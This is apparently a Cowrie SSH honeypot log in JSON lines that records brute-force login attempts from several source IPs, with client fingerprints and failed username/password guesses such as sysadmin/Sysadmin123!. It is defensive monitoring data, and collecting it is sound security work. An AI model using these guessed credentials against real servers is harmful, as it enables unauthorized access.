{"eventid":"cowrie.login.failed","username":"cloud","password":"cloud123","message":"login attempt [cloud/cloud123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:32:49.289157Z","src_ip":"43.245.143.215","session":"1d3a167855ed","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:32:50.571494Z","src_ip":"43.245.143.215","session":"1d3a167855ed","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"195.178.110.218","src_port":42868,"dst_ip":"159.203.135.109","dst_port":22,"session":"06d42a5edad1","protocol":"ssh","message":"New connection: 195.178.110.218:42868 (159.203.135.109:22) [session: 06d42a5edad1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:33:01.332200Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:33:01.338062Z","src_ip":"195.178.110.218","session":"06d42a5edad1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:33:01.419196Z","src_ip":"195.178.110.218","session":"06d42a5edad1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sol","password":"123","message":"login attempt [sol/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:33:01.656764Z","src_ip":"195.178.110.218","session":"06d42a5edad1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:33:02.738976Z","src_ip":"195.178.110.218","session":"06d42a5edad1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.120.6.20","src_port":50866,"dst_ip":"159.203.135.109","dst_port":22,"session":"4c43b2666597","protocol":"ssh","message":"New connection: 162.120.6.20:50866 (159.203.135.109:22) [session: 4c43b2666597]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:33:56.797973Z"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:33:56.868309Z","src_ip":"162.120.6.20","session":"4c43b2666597","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.120.6.20","src_port":50874,"dst_ip":"159.203.135.109","dst_port":22,"session":"02c9963f0234","protocol":"ssh","message":"New connection: 162.120.6.20:50874 (159.203.135.109:22) [session: 02c9963f0234]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:33:56.930325Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:33:56.934821Z","src_ip":"162.120.6.20","session":"02c9963f0234","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:33:57.002562Z","src_ip":"162.120.6.20","session":"02c9963f0234","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"samp","password":"123456","message":"login attempt [samp/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:33:57.204853Z","src_ip":"162.120.6.20","session":"02c9963f0234","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"160.22.123.78","src_port":40948,"dst_ip":"10.17.0.5","dst_port":22,"session":"decd75b56f8f","protocol":"ssh","message":"New connection: 160.22.123.78:40948 (10.17.0.5:22) [session: decd75b56f8f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:33:57.695552Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:33:57.702189Z","src_ip":"160.22.123.78","session":"decd75b56f8f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:33:57.944619Z","src_ip":"160.22.123.78","session":"decd75b56f8f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:33:58.275076Z","src_ip":"162.120.6.20","session":"02c9963f0234","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ivan","password":"123456","message":"login attempt [ivan/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:33:58.949679Z","src_ip":"160.22.123.78","session":"decd75b56f8f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:34:00.194620Z","src_ip":"160.22.123.78","session":"decd75b56f8f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.245.143.215","src_port":44728,"dst_ip":"159.203.135.109","dst_port":22,"session":"2a388093715a","protocol":"ssh","message":"New connection: 43.245.143.215:44728 (159.203.135.109:22) [session: 2a388093715a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:35:17.706268Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:35:17.711123Z","src_ip":"43.245.143.215","session":"2a388093715a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:35:17.977057Z","src_ip":"43.245.143.215","session":"2a388093715a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sysadmin","password":"Sysadmin123!","message":"login attempt [sysadmin/Sysadmin123!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:35:19.078253Z","src_ip":"43.245.143.215","session":"2a388093715a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:35:20.346224Z","src_ip":"43.245.143.215","session":"2a388093715a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"195.178.110.218","src_port":50374,"dst_ip":"159.203.135.109","dst_port":22,"session":"592ab9c35ff6","protocol":"ssh","message":"New connection: 195.178.110.218:50374 (159.203.135.109:22) [session: 592ab9c35ff6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:35:32.386039Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:35:32.390602Z","src_ip":"195.178.110.218","session":"592ab9c35ff6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:35:32.470038Z","src_ip":"195.178.110.218","session":"592ab9c35ff6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sol","password":"1234","message":"login attempt [sol/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:35:32.710832Z","src_ip":"195.178.110.218","session":"592ab9c35ff6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:35:33.791921Z","src_ip":"195.178.110.218","session":"592ab9c35ff6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"160.22.123.78","src_port":47910,"dst_ip":"10.17.0.5","dst_port":22,"session":"25ef6197bb2f","protocol":"ssh","message":"New connection: 160.22.123.78:47910 (10.17.0.5:22) [session: 25ef6197bb2f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:35:58.979095Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:35:58.984813Z","src_ip":"160.22.123.78","session":"25ef6197bb2f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:35:59.221869Z","src_ip":"160.22.123.78","session":"25ef6197bb2f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"jay","password":"jaypassword","message":"login attempt [jay/jaypassword] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:36:00.203168Z","src_ip":"160.22.123.78","session":"25ef6197bb2f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:36:01.441931Z","src_ip":"160.22.123.78","session":"25ef6197bb2f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.245.143.215","src_port":35176,"dst_ip":"159.203.135.109","dst_port":22,"session":"26ed9dfb64eb","protocol":"ssh","message":"New connection: 43.245.143.215:35176 (159.203.135.109:22) [session: 26ed9dfb64eb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:37:24.851448Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:37:24.856474Z","src_ip":"43.245.143.215","session":"26ed9dfb64eb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:37:25.149041Z","src_ip":"43.245.143.215","session":"26ed9dfb64eb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"mycat","password":"mycatpassword","message":"login attempt [mycat/mycatpassword] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:37:26.346246Z","src_ip":"43.245.143.215","session":"26ed9dfb64eb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.8","message":"Connection lost after 2.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:37:27.640463Z","src_ip":"43.245.143.215","session":"26ed9dfb64eb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"195.178.110.218","src_port":40828,"dst_ip":"159.203.135.109","dst_port":22,"session":"ebd4e7a263f9","protocol":"ssh","message":"New connection: 195.178.110.218:40828 (159.203.135.109:22) [session: ebd4e7a263f9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:38:06.915903Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:38:06.920388Z","src_ip":"195.178.110.218","session":"ebd4e7a263f9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:38:07.000051Z","src_ip":"195.178.110.218","session":"ebd4e7a263f9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sol","password":"123456","message":"login attempt [sol/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:38:07.238070Z","src_ip":"195.178.110.218","session":"ebd4e7a263f9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:38:08.319227Z","src_ip":"195.178.110.218","session":"ebd4e7a263f9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.245.143.215","src_port":34268,"dst_ip":"159.203.135.109","dst_port":22,"session":"bb7448255452","protocol":"ssh","message":"New connection: 43.245.143.215:34268 (159.203.135.109:22) [session: bb7448255452]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:39:37.184045Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:39:37.187991Z","src_ip":"43.245.143.215","session":"bb7448255452","protocol":"ssh"}
